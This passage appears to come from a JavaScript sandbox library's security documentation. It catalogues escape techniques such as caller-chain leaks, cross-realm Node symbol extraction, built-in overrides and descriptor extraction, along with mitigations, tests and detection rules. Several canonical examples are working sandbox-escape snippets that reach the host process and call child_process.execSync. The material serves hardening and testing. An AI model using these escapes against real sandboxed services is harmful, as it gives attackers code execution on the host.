• Symbol.species as a getter -- TOCTOU attack returning different values on each access.
• Symbol.hasInstance override via __defineGetter__ or Object.defineProperty.
• Object.getPrototypeOf(Promise) -- accessing globalPromise to override its Symbol.hasInstance.
• Symbol.for() -- can create cross-realm shared symbols.
• Any Symbol used as error.name -- triggers TypeError on string conversion which may leak host errors.
• Symbol.iterator or Symbol.toPrimitive overrides -- can execute code during iteration or coercion.
• Extraction of real symbols from host objects -- see also Category 8: Cross-Realm Symbol Extraction.

Attack Category 5: Function Caller/Callee Access Copy Chapter

Advisories: none

Tests: test/vm.js ("arguments"), test/nodevm.js ("arguments attack"), test/nodevm.js ("builtin module arguments attack")

Description Copy Section

The arguments.callee.caller chain and function caller/arguments properties can leak references to functions higher in the call stack, potentially including bridge internals.

Attack Flow Copy Section

1. Define a function in the sandbox that accesses arguments.callee.caller or fn.caller.
2. Arrange for this function to be called by a bridge function (e.g., as a callback passed to a host API).
3. .caller returns the bridge function, whose .constructor is the host Function.

Canonical Examples Copy Section

// arguments.callee.caller
(function() {
  return arguments.callee.caller;
})();

// Function.caller
function exploit() {
  return exploit.caller.constructor;
}

// arguments access on wrapped functions
function f() {
  return f.arguments[0]; // Might be host object
}

Why It Works Copy Section

If a sandbox function is called by a bridge function (host-realm), accessing .caller on the sandbox function returns the bridge function, which has a host-realm constructor (the host Function).

Mitigation Copy Section

The bridge throws immediately on .caller and .arguments access.

Detection Rules Copy Section

• arguments.callee -- accessing the calling function.
• arguments.callee.caller -- walking up the call stack.
• .caller property on any function.
• .arguments property on any function (the deprecated property, not the local arguments object).

Attack Category 8: Cross-Realm Symbol Extraction from Host Objects Copy Chapter

Advisories: GHSA-m5q2-4fm3-vfqp, GHSA-47x8-96vw-5wg6, GHSA-jf8q-945g-9q4c

Tests: test/ghsa/GHSA-m5q2-4fm3-vfqp/repro.js, test/ghsa/GHSA-47x8-96vw-5wg6/repro.js, test/ghsa/GHSA-47x8-96vw-5wg6/structural-leak.js, test/ghsa/GHSA-47x8-96vw-5wg6/structural-leak-variants.js, test/ghsa/GHSA-jf8q-945g-9q4c/repro.js, test/vm.js ("Symbol.for dangerous Node.js symbols isolation"), test/vm.js ("Symbol extraction via Object.getOwnPropertySymbols on host objects"), test/vm.js ("Symbol extraction via spread operator on host objects")

Description Copy Section

Even when Symbol.for is overridden to return sandbox-local symbols, the real cross-realm symbols still exist as property keys on host objects exposed to the sandbox (e.g., Buffer.prototype, Error.prototype). Attackers can extract these real symbols using reflection APIs and use them to define properties that Node.js internals will invoke in host context. This technique enables Category 9: Proxy Handler Exposure by providing the real nodejs.util.inspect.custom symbol.

Attack Flow Copy Section

1. Use reflection APIs (Object.getOwnPropertySymbols, Reflect.ownKeys, Object.getOwnPropertyDescriptors, Object.assign, object spread) to enumerate symbol-keyed properties on host objects.
2. Filter for the target symbol by .description (e.g., 'nodejs.util.inspect.custom').
3. Define the real symbol on a sandbox object.
4. When Node.js internals encounter the object, they invoke the symbol-keyed method with host context.

Canonical Examples Copy Section

/* Detailed source-code truncated for AI context efficiency. */

Why It Works Copy Section

Symbol.for('nodejs.util.inspect.custom') creates a cross-realm symbol shared between host and sandbox. Even when the sandbox's Symbol.for is overridden, the real symbol already exists as a property key on host objects that the bridge exposes.

Subtlety: Internal [[OwnPropertyKeys]] vs User-Visible Reflect.ownKeys Copy Section

Several built-in functions use the spec-level [[OwnPropertyKeys]] internal method rather than the user-visible Reflect.ownKeys. For plain objects, this means overriding Reflect.ownKeys or Object.getOwnPropertySymbols alone is insufficient:

• Object.getOwnPropertyDescriptors(obj) -- calls [[OwnPropertyKeys]] on obj.
• Object.assign(target, ...sources) -- calls [[OwnPropertyKeys]] on each source.
• Object.defineProperties(obj, props) -- calls [[OwnPropertyKeys]] on props.
• Object spread {...obj} -- calls [[OwnPropertyKeys]] on the source.

However, for Proxy objects, the internal [[OwnPropertyKeys]] does trigger the proxy's ownKeys trap. The bypass only applies when Reflect.ownKeys is overridden as a user-visible function on plain objects -- Proxy ownKeys traps are always invoked by the spec algorithm. The bridge proxy handler's ownKeys trap filters dangerous symbols directly, so bridge-proxied host objects are protected regardless of sandbox-side overrides.

Mitigation Copy Section

Multi-layer defense. Sandbox side (setup-sandbox.js): overrides Symbol.for, Object.getOwnPropertySymbols, Reflect.ownKeys, Object.getOwnPropertyDescriptors, Object.assign to filter or replace dangerous symbols with sandbox-local equivalents. Bridge side (lib/bridge.js): the ownKeys/has/getOwnPropertyDescriptor/set/defineProperty traps filter dangerous symbols at key-access sites. The sandbox-side defense can be bypassed if the attacker obtains a live reference to the host's unmodified Object/Reflect (via prototype walk + __lookupGetter__ + Buffer.apply, via a leaked handler.getPrototypeOf, etc.) — so the bridge side is the ultimate enforcement layer.

Bridge symbol-boundary filter (GHSA-47x8-96vw-5wg6, -qcp4-v2jj-fjx8, -f539-x546-3726): the case 'symbol': branches of the three primitive-value chokepoints thisFromOtherWithFactory, thisEnsureThis, and thisFromOtherForThrow now check isDangerousCrossRealmSymbol(other) when !isHost and return undefined for dangerous symbols. This is the single choke point through which every host-produced symbol primitive passes before reaching sandbox code — whether from a direct call result (apply trap), property read (get trap), iterator yield, descriptor getter, or throw value. Returning undefined (rather than a sandbox-local surrogate) is deliberate: undefined as a computed key coerces to the string "undefined", so any subsequent attempt to register a handler via obj[sym] = fn, {[sym]: fn}, Object.defineProperty(obj, sym, ...), or Reflect.set(obj, sym, fn) installs the key under the string "undefined" — which is never invoked by host internals as a custom-inspect/rejection protocol.

Structural identity collapse for built-in intrinsics (GHSA-47x8-96vw-5wg6 follow-up): the symbol-filter patch above closed the canonical RCE payload but left the underlying primitive intact — sandbox code could still walk host prototypes (({}).__lookupGetter__('__proto__').call(...), Reflect.getPrototypeOf, descriptor extraction of Object.prototype.__proto__, Buffer.from(...) proto chains, etc.) and surface a reference to host built-ins. Any later vulnerability that converts "I have a host built-in handle" into "I can read a host symbol / call a host method that bypasses bridge sanitisation" would re-enable the same escape class. Fix: at bridge init (lib/bridge.js's thisAddIdentityMapping), pre-populate the mappingOtherToThis / mappingThisToOther weakmaps with [hostIntrinsic, sandboxIntrinsic] for every well-known prototype + constructor (Object, Array, Number, String, Boolean, Date, RegExp, Map, WeakMap, Set, WeakSet, Promise, every error class). The cache lookup in thisFromOtherWithFactory (line ~1600), thisFromOtherForThrow, and thisEnsureThis short-circuits before any wrapping logic, so a host intrinsic crossing the bridge is collapsed to the sandbox-realm equivalent the moment it arrives. The Function, AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction prototypes are deliberately NOT cached: their .constructor is the dangerous-function sentinel surface, and leaving those prototypes wrapped means the proxy get trap continues to route fp.constructor reads through isDangerousFunctionConstructor → emptyFrozenObject. Same reasoning applies to Function-family constructors themselves, which are explicitly skipped inside thisAddIdentityMapping.

Pre-wrap container scrub: apply and construct traps invoke stripDangerousSymbolsFromHostResult(ret) on the raw host return value before wrapping. For host arrays, the scrub drops any element that is a dangerous symbol and compacts; for non-array host objects (such as the return value of Object.getOwnPropertyDescriptors), it deletes own-property slots keyed by the dangerous symbols. This closes iteration and descriptor-enumeration paths that would otherwise still see the dangerous symbol present on the host container.

ownKeys trap rewrite: iterates the raw host result via otherReflectGet rather than bridge-wrapping it, so dangerous symbols can be dropped (preserving the Proxy ownKeys invariant, which forbids undefined keys) rather than rewritten.

nodejs. prefix denial at the source (GHSA-m5q2-4fm3-vfqp): the Symbol.for override originally allow-listed only nodejs.util.inspect.custom and nodejs.rejection, leaving seven other Node-internal nodejs.* keys live (nodejs.util.promisify.custom, the four stream brand symbols, the two webstream symbols). The override now intercepts the entire nodejs. namespace — any key starting with nodejs. is mapped to a sandbox-local symbol — so the canonical Symbol.for(...) extraction path cannot produce a real cross-realm symbol regardless of which internal feature the attacker targets. A keyed cache preserves Symbol.for(k) === Symbol.for(k) identity inside the sandbox for the same key. The companion read-side filter (isDangerousSymbol in setup-sandbox.js, isDangerousCrossRealmSymbol in bridge.js) was extended with the seven additional symbols so identity checks against host-extracted symbols match the same set; new entries to either side must be mirrored to keep the source-deny and identity-filter layers consistent.

Bridge write-trap symbol guard (GHSA-m5q2-4fm3-vfqp): the read-direction filter prevents the sandbox from surfacing dangerous symbols, but the write traps (set, defineProperty, deleteProperty) would otherwise forward the key straight through to otherReflect* without inspecting it. If any future bypass surfaces a dangerous symbol back inside the sandbox (or a host-side embedder hands one in via a path that bypasses the per-symbol filter), the unguarded write traps would let it land as a key on any non-protected host object — turning the leak into a host-side hook installation. Each of the three write traps now checks isDangerousCrossRealmSymbol(key) when !isHost and throws VMError(OPNA), mirroring the read-side filter. Symmetric coverage across read and write makes "obtaining the symbol" no longer enough to weaponize it; the attacker would also need a path that bypasses both layers simultaneously.

Stream state-symbol coverage (GHSA-jf8q-945g-9q4c): the m5q2 fix enumerated nine dangerous nodejs.* symbols but missed the two stream state symbols nodejs.stream.disturbed and nodejs.stream.errored. Unlike the brand symbols (which are duck-typing booleans read by Stream.is{Readable,Writable}), these are accessor symbols installed on ReadableStream.prototype whose getters return the stream's consumed / errored state, and Node's stream.Readable.isDisturbed(s) / isErrored(s) read them directly off the raw object (stream[kIsDisturbed] ?? ...). Because the accessor is configurable with no setter, sandbox code that obtains the real symbol — by extracting it from a host ReadableStream.prototype exposed via vm.sandbox (Object.getOwnPropertySymbols(proto)), the Category 8 prototype-walk path — and then Object.defineProperty(hostStream, sym, {value:false}) shadows the getter with an own data property, flipping a fully consumed stream's isDisturbed from true back to false (and similarly clearing isErrored). This lets sandbox code lie to host code that gates on "has this stream already been read?" — e.g. re-serving or re-piping a stream a host guard believed was spent. The two symbols were the only member of the nodejs.stream.* family absent from realDangerousSymbols (setup-sandbox.js) and isDangerousCrossRealmSymbol (bridge.js). Rather than only add the two by identity — which would leave the list stale again the next time Node adds a nodejs.* symbol (this report is itself the second such gap, after GHSA-m5q2) — the fix generalizes both the extraction filter and the write-trap guard to a namespace check: any registered symbol whose Symbol.keyFor(sym) is in the reserved nodejs. namespace is dangerous, mirroring the Symbol.for source-side override that was already namespace-based. isDangerousSymbol (setup-sandbox.js) and isDangerousCrossRealmSymbol (bridge.js) keep the explicit list as a fast path / regression documentation and add the namespace catch-all (using a pristine Symbol.keyFor captured at bootstrap); getOwnPropertyDescriptors scrubbing likewise drops any nodejs.-keyed slot instead of a fixed list. This is over-block-safe by construction: Symbol.keyFor returns a string only for registered symbols, so well-known symbols (Symbol.iterator, …) and sandbox-local Symbol('nodejs.*') surrogates are unaffected, and a benign registered symbol (Symbol.for('myapp.x')) still crosses. A regression test asserts a novel nodejs.* symbol not in the explicit list is filtered too. (The Symbol.for('nodejs.stream.disturbed') reconstruction path was already denied by the m5q2 whole-nodejs.-namespace override.) The sound oracle for any regression is host-side stream.Readable.isDisturbed(rs) staying true after the sandbox runs.

Detection Rules Copy Section

• Object.getOwnPropertySymbols(hostObject) -- enumerating symbols on bridge-exposed objects.
• Reflect.ownKeys(hostObject) -- same pattern via Reflect.
• .find(s => s.description === '...') -- searching for symbols by description string.
• Object.getOwnPropertyDescriptors(hostObject) -- extracting symbol-keyed descriptors.
• Object.assign(proxy, hostObject) -- leaking symbol keys via Proxy set trap.
• {...hostObject} or const {...x} = hostObject -- spread operator on bridge proxies.
• Array.prototype.splice = ... or other Array method overrides before symbol enumeration -- attempting to bypass array-based filtering.
• Function.prototype.value = ... -- prototype pollution to hijack Object.defineProperties.
• WebAssembly.compileStreaming(obj) -- triggers internal util.inspect on error.
• Object.defineProperty(hostStream, sym, {value:false}) / hostStream[sym] = false with sym.description in {nodejs.stream.disturbed, nodejs.stream.errored} -- shadowing a stream state accessor to flip host-side isDisturbed/isErrored (GHSA-jf8q-945g-9q4c).

Attack Category 10: Built-in Function Exploitation Copy Chapter

Advisories: none

Tests: test/vm.js ("various attacks #1"), test/vm.js ("various attacks #2"), test/vm.js ("Object.create attack"), test/vm.js ("buffer attack"), test/vm.js ("constructor arbitrary code attack")

Description Copy Section

Attackers use built-in functions (Buffer, Reflect, Array methods) as conduits to leak host references or intercept bridge operations.

Attack Flow Copy Section

1. Override a built-in constructor or method (Array, Object.create, Reflect.construct).
2. Trigger a bridge operation that internally uses the overridden built-in (e.g., call Buffer.from()).
3. The overridden built-in executes attacker code with access to bridge-internal references.

Canonical Examples Copy Section

// Buffer.apply chain
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
p.call(a).constructor("return process")();

// Override Object.create to inject descriptors
const oc = Object.create;
Object.create = (p, x) => Object.defineProperty(oc(p, x), "get", {
  set() {},
  get: () => (t, k, r) => t.constructor("return process")()
});
Buffer.from.process;

// Override Array constructor
Array = function() {
  Array = arrayBackup;
  throw x => x.constructor("return process")();
};
Buffer.from(valueOfTrigger);

// Override Array.prototype.map
Array.prototype.map = function(callback) {
  leaked = callback(hostRef);
};

Why It Works Copy Section

Built-in functions like Buffer.from() internally create arrays, objects, and call constructors. If the sandbox overrides Array, Object.create, or Reflect.construct before calling a bridge-exposed built-in, the bridge's internal operations use the overridden versions.

Mitigation Copy Section

The bridge caches references at init time (Reflect.apply, Reflect.construct, etc.) and uses cached references for all internal operations. Sandbox-side overrides of Array, Object.create, etc. do not affect bridge internals.

Detection Rules Copy Section

• Buffer.apply, Buffer.from with unusual arguments (Proxies, objects with valueOf).
• Override of Object.create -- intercepting object creation.
• Override of Reflect.construct or other Reflect methods.
• Override of Array constructor or Array.prototype methods.
• Override of Object.assign -- intercepting property copying.
• valueOf() or toString() overrides on objects passed to built-ins.

Attack Category 15: Property Descriptor Value Extraction Copy Chapter

Advisories: none

Tests: test/vm.js ("getOwnPropertyDescriptor Function constructor bypass attack"), test/vm.js ("getOwnPropertyDescriptor Function extraction via Object.entries attack"), test/vm.js ("getOwnPropertyDescriptor Function extraction via nested entries attack"), test/vm.js ("getOwnPropertyDescriptors (plural) Function extraction attack"), test/vm.js ("getOwnPropertyDescriptor on getOwnPropertyDescriptors result (nested descriptor attack)"), test/vm.js ("Function constructor extraction via Object.entries on getOwnPropertyDescriptors result")

Description Copy Section

Property descriptors returned by Object.getOwnPropertyDescriptor contain a value property holding the actual property value. When the property is Function.prototype.constructor, this value is the host's Function constructor. Attackers can build arbitrarily deep nesting by chaining getOwnPropertyDescriptors calls, then extract values using Object.entries() which bypasses direct property access protections.

Attack Flow Copy Section

1. Get Object.getOwnPropertyDescriptor(Function.prototype, 'constructor') -- descriptor contains value: Function.
2. The descriptor is wrapped as a proxy, but the underlying host object contains the raw Function constructor.
3. Pass the proxy to a host function like Object.entries() -- it gets unwrapped via mappingThisToOther.
4. The host's Object.entries sees unsanitized content, including the raw Function constructor.
5. Extract the Function constructor via chained Object.entries calls.

Canonical Examples Copy Section

const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const fp = p.call(a);  // Function.prototype
const op = p.call(fp); // Object.prototype
const ho = op.constructor; // Object

const cd = ho.getOwnPropertyDescriptor(fp, 'constructor');
// cd = {value: Function, writable: true, enumerable: false, configurable: true}

const e = ho.entries(cd).find(v => v[0] === 'value');
e.shift(); // e = [Function]
e.push([undefined, ['return process']]);
a.apply(a, e)().mainModule.require('child_process').execSync('...');

Why It Works Copy Section

When sandbox proxies are passed to host functions, they are unwrapped via mappingThisToOther back to the original host object. The host function then sees unsanitized content.

Mitigation Copy Section

Objects containing dangerous constructors are proxied with preventUnwrap -- they are NOT registered in mappingThisToOther. When passed to host functions, they cannot be unwrapped; instead the bridge creates a double-proxy where all property access goes through sanitizing traps. The proxy's get trap returns {} for dangerous constructor values. containsDangerousConstructor performs a shallow scan of own property descriptors at each bridge crossing; nested host objects are scanned independently when they themselves cross the bridge, so layered descriptor-extraction attacks (getOwnPropertyDescriptor on getOwnPropertyDescriptors results, etc.) are caught at the layer where the Function constructor is exposed at depth 1.

Detection Rules Copy Section

• Object.getOwnPropertyDescriptor(hostPrototype, 'constructor') -- getting descriptor for constructor property.
• Object.getOwnPropertyDescriptors(hostPrototype) -- getting all descriptors.
• Chained getOwnPropertyDescriptors calls -- building deep nesting.
• Object.entries(descriptor) or Object.values(descriptor) -- extracting values from descriptors.
• entries.apply(null, arr) -- passing extracted arrays back to host functions.
• apply.apply(apply, array) -- calling extracted Function with arguments.

Attack Category 18: Array Species Self-Return via Constructor Manipulation Copy Chapter

Advisories: GHSA-grj5-jjm8-h35p

Tests: test/ghsa/GHSA-grj5-jjm8-h35p/ (repro.js, descriptor-chain-history.js), test/vm.js ("Array species self-return attack via constructor manipulation"), test/vm.js ("Array constructor write via defineProperty is intercepted"), test/vm.js ("neutralizeArraySpecies prevents species attack in apply trap"), test/vm.js ("species defense still blocks attacks via frozen host arrays (#567 follow-up)")

Uses: Category 3: Symbol-Based Attacks, Category 10: Built-in Function Exploitation

Description Copy Section